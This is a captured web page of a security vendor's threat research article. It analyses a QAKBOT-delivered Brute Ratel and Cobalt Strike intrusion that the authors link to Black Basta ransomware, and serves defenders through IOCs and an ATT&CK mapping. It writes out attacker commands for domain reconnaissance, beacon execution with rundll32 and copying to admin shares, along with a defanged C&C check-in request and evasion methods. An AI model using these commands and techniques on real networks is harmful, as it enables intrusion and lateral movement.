www.trendmicro.com Open in urlscan Pro
23.203.87.70  Public Scan

URL: https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html
Submission Tags: falconsandbox
Submission: On November 10 via api from US — Scanned from DE

Form analysis 3 forms found in the DOM

<form class="main-menu-search" aria-label="Search Trend Micro">
  <div class="main-menu-search__field-wrapper" id="cludo-search-form">
    <table cellspacing="0" cellpadding="0" class="gsc-search-box" style="width:100%">
      <tbody>
        <tr>
          <td class="gsc-input">
            <input type="text" size="10" class="gsc-input" name="search" title="search" placeholder="Search Trend Micro" autocomplete="off">
          </td>
        </tr>
      </tbody>
    </table>
  </div>
</form>

<form class="main-menu-search" aria-label="Search Trend Micro">
  <div class="main-menu-search__field-wrapper" id="cludo-search-form-mobile">
    <table cellspacing="0" cellpadding="0" class="gsc-search-box" style="width:100%">
      <tbody>
        <tr>
          <td class="gsc-input">
            <input type="text" size="10" class="gsc-input" name="search" title="search" placeholder="Search Trend Micro" autocomplete="off">
          </td>
          <td class="gsc-search-close collapsed" style="width:1%;" data-target="#search-mobile-wrapper" data-toggle="collapse">
            <span class="icon-close"></span>
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        </tr>
      </tbody>
    </table>
  </div>
</form>

POST #

<form class="acsb-form" data-acsb-search="form" enctype="multipart/form-data" action="#" method="POST"> <input type="text" tabindex="0" name="acsb_search" autocomplete="off" placeholder="Unclear content? Search in dictionary..."
    aria-label="Unclear content? Search in dictionary..."> <i class="acsbi-search"></i> <i class="acsbi-chevron_down"></i> </form>

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Network
Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and
Cobalt Strike

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BLACK BASTA RANSOMWARE GANG INFILTRATES NETWORKS VIA QAKBOT, BRUTE RATEL, AND
COBALT STRIKE

We analyzed a QAKBOT-related case leading to a Brute Ratel C4 and Cobalt Strike
payload that can be attributed to the threat actors behind the Black Basta
ransomware.

By: Ian Kenefick, Lucas Silva, Nicole Hernandez October 12, 2022 Read time: 10
min (2565 words)

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--------------------------------------------------------------------------------


SUMMARY

QAKBOT’s malware distribution resumed on September 8, 2022 following a brief
hiatus, when our researchers spotted several distribution mechanisms on this
date. The distribution methods observed included SmokeLoader (using the ‘snow0x’
distributor ID), Emotet (using the ‘azd‘ distributor id), and malicious spam
that used the ‘BB’ and ‘Obama20x’ IDs.

A recent case involving the QAKBOT ‘BB’ distributor led to the deployment of
Brute Ratel (detected by Trend Micro as Backdoor.Win64.BRUTEL) —  a framework
similar to Cobalt Strike — as a second-stage payload. This is a noteworthy
development because it is the first time we have observed Brute Ratel as a
second-stage payload via a QAKBOT infection. The attack also involved the use of
Cobalt Strike itself for lateral movement. We attribute these activities to the
threat actors behind the Black Basta ransomware.

Intrusion timeline

 

Figure 1. The intrusion timeline for the attack


THE RISE OF BRUTE RATEL AND OTHER C&C FRAMEWORKS

Brute Ratel is a commercial (paid) Adversary Emulation framework and a relative
newcomer to the commercial C&C Framework space, where it competes with more
established players such as Cobalt Strike.

Adversary Emulation frameworks like Brute Ratel and Cobalt Strike are marketed
to penetration testing professionals (Red Teams) for use in legitimate
penetration testing activities in which organizations seek to improve their
ability to detect and respond to real cyberattacks. These frameworks are used to
provide hands-on keyboard access from remote locations to emulate the tactics,
techniques, and procedures (TTPs) used by attackers in network intrusions.

On top of Cobalt Strike’s legitimate use cases, it has gained notoriety for its
illicit usage and near omnipresence in high-profile, human-operated ransomware
attacks during the past few years. It serves as a common second-stage payload
from Botnets such as QAKBOT (TrojanSpy.Win64.QAKBOT), IcedID
(TrojanSpy.Win64.ICEDID), Emotet (TrojanSpy.Win64.EMOTET), and Bumblebee
(Trojan.Win64.BUMBLELOADER), among others. Unfortunately, several versions of
Cobalt Strike have been leaked over the past couple of years, accelerating its
malicious use by cybercriminals.

As a result of its popularity compared to Brute Ratel, its detection coverage is
greater than that of the latter. This makes Brute Ratel and other less
established C&C frameworks an increasingly more attractive option for malicious
actors, whose activities may remain undetected for a longer period.

Brute Ratel has recently attracted greater interest from threat actors in the
cybercriminal underground, where versions of the framework are actively traded
and cracked versions circulated. It is unknown how Brute Ratel was initially
leaked, but its developers have acknowledged the leak on Twitter.

QAKBOT ‘BB’ to Brute Ratel

Figure 2. A summary of the campaign’s procedure

The campaign commences via a SPAM email containing a malicious new URL being
sent to potential victims. The URL landing page presents the recipient with a
password for a ZIP file.

Figure 3. Notification that the ZIP file has been downloaded, along with the
password to the file


SANDBOX AND SECURITY SOLUTION EVASION

The use of password-protected ZIP files at this stage is likely an attempt to
evade analysis by security solutions.


MARK OF THE WEB EVASION

The ZIP file contains a single .ISO file. The use of an ISO file is an attempt
to defeat the “Mark of the Web (MOTW),” which tags files as being downloaded
from the internet. It subjects these files to additional security measures by
Windows and endpoint security solutions.

The ISO file contains a visible LNK file that uses the “Explorer” icon and two
hidden subdirectories, each containing various files and directories. By
default, on Windows operating systems, hidden files are not displayed to the
user. Figure 5 illustrates what the user sees when the “Show hidden files”
setting is enabled.

Figure 4. The addition hidden subdirectories that the user sees when the “Show
hidden files” setting is enabled

The directory structure is as follows:

Figure 5. Directory structure

File Name

Description

Detection Name

SHA-256

Accounting#7405.iso

 

Trojan.Win32.QAKBOT.YACIW

582a5e2b2652284ebb486bf6a367aaa6bb817c856f08ef54db64c6994c5b91bd

Contract.lnk

LNK File

Trojan.LNK.QAKBOT.YACIW

e9e214f7338c6baefd2a76ee66f5fadb0b504718ea3cebc65da7a43a5ff819a4 

fodder.txt

Decoy text file

 

4dcf06a5afc699bbb73650cefe4ad86a1b686a257c607e0b96dda85d69544d8a 

enunciatedNaught.cmd

Malicious CMD File

Trojan.BAT.QAKBOT.YACIW

d44b05b248f95986211ab3dc2765f1d76683594a174984c8b801bd7eade8aa47

eyelid.png

Decoy PNG file

 

dd755395b36acfceaa0d7e9c5479df4b1c919d57837fe43068980c5fa7dd6875 

reflectiveness.db

QAKBOT DLL

Trojan.Win32.QAKBOT.YACIW

01fd6e0c8393a5f4112ea19a26bedffb31d6a01f4d3fe5721ca20f479766208f 

sharpOutvotes.js

Malicious JS File

Trojan.JS.QAKBOT.YACIW

06c4c4d100e9a7c79e2ee8c4ffa1f7ad165a014f5f14f90ddfc730527c564e35 

Table 1. The file names, detection names, and hashes for the indicators used in
the initial part of the infection routine


COMMAND-LINE INTERFACE - EXECUTION SEQUENCE


QAKBOT uses obfuscation across two script files, a JavaScript (.js) file and a
Batch Script (.cmd) file, likely in an effort to conceal suspicious-looking
command lines.  

Figure 6. The execution sequence for the command line interface 


INITIAL QAKBOT C&C SERVER COMMUNICATION

The C&C Infrastructure is geographically distributed across compromised hosts
residing in predominantly residential Internet Service Provider (ISP) broadband
networks.

The following countries are where the C&C servers reside:

 * Afghanistan
 * Algeria
 * Argentina
 * Austria
 * Brazil
 * Bulgaria
 * Canada
 * Chile
 * Colombia
 * Egypt
 * India
 * Indonesia
 * Japan
 * Mexico
 * Mongolia
 * Morocco
 * Netherlands
 * Qatar
 * Russia
 * South Africa
 * Taiwan
 * Thailand
 * Turkey
 * United Arab Emirates
 * United Kingdom
 * United States
 * Vietnam
 * Yemen

These ‘Tier 1’ C&C Servers are considered disposable by the QAKBOT operators and
are replaced frequently (nearly every time there is a new distribution of the
malware), though some persist across multiple QAKBOT malware configurations.


Automated reconnaissance commands


Just six minutes after the initial C&C communication, and with the QAKBOT
malware now running inside an injected process (wermgr.exe),  automated
reconnaissance in the infected environment is performed via the execution of
multiple built-in command line tools. The execution of these command lines is in
the following order:

Order

Process

Command Line

1

C:\Windows\SysWOW64\net.exe

net view

2

C:\Windows\SysWOW64\ARP.EXE

arp -a

3

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /all

4

C:\Windows\SysWOW64\nslookup.exe

nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.<domain_fqdn>

5

C:\Windows\SysWOW64\net.exe

net share

6

C:\Windows\SysWOW64\ROUTE.EXE

route print

7

C:\Windows\SysWOW64\NETSTAT.EXE

netstat -nao

8

C:\Windows\SysWOW64\net.exe

net localgroup

9

C:\Windows\SysWOW64\whoami.exe

whoami /all

Table 2. The order of execution for the built-in command lines

This activity is visible in Trend Micro Vision One™, which detects the
suspicious usage of these built-in Windows commands.

Figure 7. Trend Micro Vision One showing the activities associated with
wermgr.exe


QAKBOT DROPS BRUTE RATEL

Five minutes after the automated reconnaissance activities are completed, the
QAKBOT-injected wermgr.exe process drops the Brute Ratel DLL and invokes it via
a rundll32.exe child process with the “main” export function.

Figure 8. Trend Micro Vision One showing Brute Ratel being invoked by wermgr.exe
via the rundll32.exe process

The backdoor is a HTTPS , which performs a check-in with the Brute Ratel Server
at symantecuptimehost[.]com:

POST hxxps://symantecuptimehost[.]com:8080/admin.php?login= HTTP/1.1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/90.0.4430.93 Safari/537.36
Host: symantecuptimehost[.]com:8080
Content-Length: 122
Cache-Control: no-cache

Figure 9. The Brute Ratel check-in

Further reconnaissance is performed in the environment to identify privileged
users. First, the built-in net.exe and nltest.exe are used.

Order

Process

 

1

C:\Windows\SysWOW64\net.exe

net group "Domain Admins" /domain

2

C:\Windows\SysWOW64\net.exe

net group "Domain Controllers" /domain

3

C:\Windows\SysWOW64\nltest.exe

nltest /domain_trusts /all_trusts

4

C:\Windows\SysWOW64\net.exe

net user <redacted> /domain

Table 3. Reconnaissance processes to identify privileged users

Second, the SharpHound utility is run via Brute Ratel in an injected svchost.exe
process to output JSON files that are ingested into BloodHound (that describes
the Active Directory Organisational Units, Group Policies, Domains, User Groups,
Computers, and Users). The files are then packed into a ZIP file in preparation
for exfiltration. The entire process is scripted and takes less than two seconds
to complete.


Figure 10. Outputting JSON files via svchost.exe


BRUTE RATEL DROPS COBALT STRIKE

Interestingly, the actors chose to leverage Cobalt Strike for lateral movement.
The first of several beacon files are dropped onto the same infected endpoint
running Brute Ratel C4, with the first being:

 * C:\Users\Public\Name-123456.xls

This beacon file is executed on the same host running the Brute Ratel C4 using
the following command:

 * rundll32 C:\users\public\Name-123456.xls,DllRegisterServer
   

The actor drops the other beacon files and copies these to administrative shares
on other hosts on the network, again using filenames bearing XLS attachments.

 * C:\Users\Public\abcabc.xls
 * C:\Users\Public\abc-1234.xls
 * C:\Users\Public\Orders_12_34_56.xls
 * C:\Users\Public\MkDir.xls

The commands used to copy the files are as follows:

C:\WINDOWS\system32\cmd.exe /C copy C:\users\public\fksro.xls
\\<HOST>\C$\users\public\abcabc.xls

The following list is the beacon C&C Servers:

 * hxxps://fewifasoc[.]com | 45.153.242[.]251
 * hxxps://hadujaza[.]com | 45.153.241[.]88
 * hxxps://himiketiv[.]com | 45.153.241[.]64

The threat actors were then evicted from the environment before any final
actions could be taken. We assess based on the level of access and discovery
activity that the likely final actions would have been a domain-wide ransom
deployment.

QAKBOT ‘Obama’ to Brute Ratel


In another, more recent, incident, Trend Micro Research spotted QAKBOT using the
“Obama” distributor ID prefix (i.e. “Obama208”) also dropping Brutel Ratel C4 as
a second-stage payload.

In this case, the malware arrives as a password-protected ZIP file delivered via
HTML smuggling, which allows the attacker to “smuggle” an encoded malicious
script into an HTML attachment or web page. Once the user opens the HTML page in
the browser, the script is decoded and the payload is assembled. 

Figure 11. QAKBOT distributors use password protection to defeat network and
sandbox security scans

Once the ZIP file is decrypted using the password provided in the HTML
attachment, the user is presented with an ISO file. The malicious files are
contained in the ISO file, which is used as a Mark of the Web bypass. Inside, an
ISO file bears the following directory structure:

Figure 12. ISO file directory structure

Since QAKBOT’s return, we have observed multiple varieties in the execution
chain, from scripting languages to file extensions and the use of export
function names and ordinals. For this infection, the following variation was
used:

Figure 13. The variation used for the infection

The infection plays out with the same TTPs (Tactics, Techniques, and Procedures)
described in the first kill chain in this blog. However, one notable difference
was observed in the C&C configuration, which used DNS over HTTPS (DoH) vs a more
traditional HTTPS C&C Channel.  The C&C servers observed used HTTPS with
Let’s-Encrypt.

By using DoH, attackers can hide DNS queries from C&C domains. If SSL/TLS
traffic is not being inspected using man-in-the-middle (MitM) techniques, DNS
queries to the C&C server will therefore go unnoticed. 


Figure 14. Brute Ratel Process performing C&C Communication via DNS over HTTPS
(DoH). The threat was contained before any final actions could be taken.


LINKS TO THE BLACK BASTA RANSOMWARE

 

Figure 15. Brute Ratel and Cobalt Strike Infrastructure used in QakBot to Black
Basta Intrusions (click the image for a larger version of it)

Based on our investigations, we can confirm that the QAKBOT-to-Brute
Ratel-to-Cobalt Strike kill chain is associated with the group behind the Black
Basta Ransomware. This is based on overlapping TTPs and infrastructure observed
in Black Basta attacks. It is not the first time that we have observed
intrusions via QAKBOT leading to Black Basta.


CONCLUSION AND SECURITY RECOMMENDATIONS

 * Users can thwart new QAKBOT variants and other threats that spread through
   emails by following some of these best practices:
 * Verify the email sender and content before downloading attachments or
   selecting embedded links from emails.
 * Hover the pointer above embedded links to show the link’s target.
 * Check the sender’s identity. Unfamiliar email addresses, mismatched email and
   sender names, and spoofed company emails are some of the signs that the
   sender has malicious intent.
 * If the email claims to come from a legitimate company, verify if they
   actually sent it before taking any action.

Organizations should take note of the trending use of Cobalt Strike in attacks,
living-off-the-land binaries (LOLBins), and red team or penetration-testing
tools, i.e. Brutel Ratel C4, to blend in with the environment.

Users can also protect systems through managed detection and response (MDR),
which utilizes advanced artificial intelligence to correlate and prioritize
threats, determining if they are part of a larger attack. It can detect threats
before they are executed, thus preventing further compromise.

The constant resurgence of new, more sophisticated variants of known malware, as
well as the emergence of entirely unknown threats, demand solutions with
advanced detection and response capabilities such as Trend Micro Vision One, a
technology that can provide powerful XDR capabilities that collect and
automatically correlate data across multiple security layers — from email and
endpoints to servers, cloud workloads, and networks. Trend Micro Vision One can
prevent attacks via automated protection, while also ensuring that no
significant incidents go unnoticed.


TACTICS, TECHNIQUES, AND PROCEDURES (TTPS)

Tactic / Technique

Notes

TA0001 Initial Access

T1566.001 Phishing: Spear phishing Attachment

Victims receive spear phishing emails with attached malicious zip files -
typically password protected or HTML file. That file contains an ISO file.

T1566.001 Phishing: Spear phishing Link

QAKBOT has spread through emails with newly created malicious links.

TA0002 Execution

T1204.001 User Execution: Malicious Link

QAKBOT has gained execution through users accessing malicious link

T1204.002 User Execution: Malicious Link

QAKBOT has gained execution through users opening malicious attachments

T1569.002 System Services: Service Execution

Cobalt Strike can use PsExec to execute a payload on a remote host. It can also
use Service Control Manager to start new services

T1059.005 Command and Scripting Interpreter: Visual Basic Script

QAKBOT can use VBS to download and execute malicious files

T1059.007 Command and Scripting Interpreter: JavaScript

QAKBOT abuses Wscript to execute a Jscript file.

TA0003 Persistence

T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

QAKBOT can maintain persistence by creating an auto-run Registry key

TA0004 Privilege Escalation

T1055 Process Injection

QAKBOT can inject itself into processes like wermgr.exe

TA0006 Defense Evasion

T1027.006 Obfuscated Files or Information: HTML Smuggling

Smuggles a file’s content by hiding malicious payloads inside of seemingly
benign HTML files.

T1218.010 System Binary Proxy Execution: Regsvr32

QAKBOT can use Regsvr32 to execute malicious DLLs
Cobalt Strike can use rundll32.exe to load DLL from the command line

T1140. Deobfuscate/Decode Files or Information

Initial QAKBOT .zip file bypasses some antivirus detections due to password
protections.

T1562.009. Impair Defenses: Safe Boot Mode

Black Basta uses bcdedit to boot the device in safe mode.

TA0007 Discovery

T1010 Application Window Discovery

QAKBOT can enumerate windows on a compromised host.

T1482 Domain Trust Discovery

QAKBOT can run nltest /domain_trusts /all_trusts for domain trust discovery.

T1135 Network Share Discovery

QAKBOT can use net share to identify network shares for use in lateral movement.

T1069.001 Permission Groups Discovery: Local Groups

QAKBOT can use net localgroup to enable the discovery of local groups

T1057 Process Discovery

QAKBOT has the ability to check running processes

T1018 Remote System Discovery

QAKBOT can identify remote systems through the net view command

T1082 System Information Discovery

QAKBOT can collect system information including the OS version and domain on a
compromised host

T1016 System Network Configuration Discovery

QAKBOT can use net config workstation, arp -a, and ipconfig /all to gather
network configuration information

T1049 System Network Connections Discovery

QAKBOT can use netstat to enumerate current network connections

T1033 System Owner/User Discovery

QAKBOT can identify the username on a compromised system

TA0008 Lateral Movement

T1021 Remote Services: SMB/Windows Admin Shares

Cobalt Strike can use Window admin shares (C$ and ADMIN$) for lateral movement

TA0011 Command and Control

T1071.001 Application Layer Protocol: Web Protocols

QAKBOT can use HTTP and HTTPS in communication with the C&C servers.

T1573. Encrypted Channel

Used by QAKBOT, BRUTEL and Cobalt Strike

TA0040 Impact

T1486. Data Encrypted for Impact

Black Basta uses the ChaCha20 algorithm to encrypt files. The ChaCha20
encryption key is then encrypted with a public RSA-4096 key that is included in
the executable.

T1489. Service Stop

Uses sc stop and taskkill to stop services.

T1490. Inhibit System Recovery

Black Basta deletes Volume Shadow Copies using vssadmin tool.

T1491 - Defacement

Replaces the desktop wallpaper to display the ransom note.


INDICATORS OF COMPROMISE

The indicators of compromise for this entry can be found here.

Tags
Malware | Research | Network | Articles, News, Reports | Cyber Threats


AUTHORS

 * Ian Kenefick
   
   Threats Analyst

 * Lucas Silva
   
   Incident Response Analyst

 * Nicole Hernandez
   
   Threats Analyst

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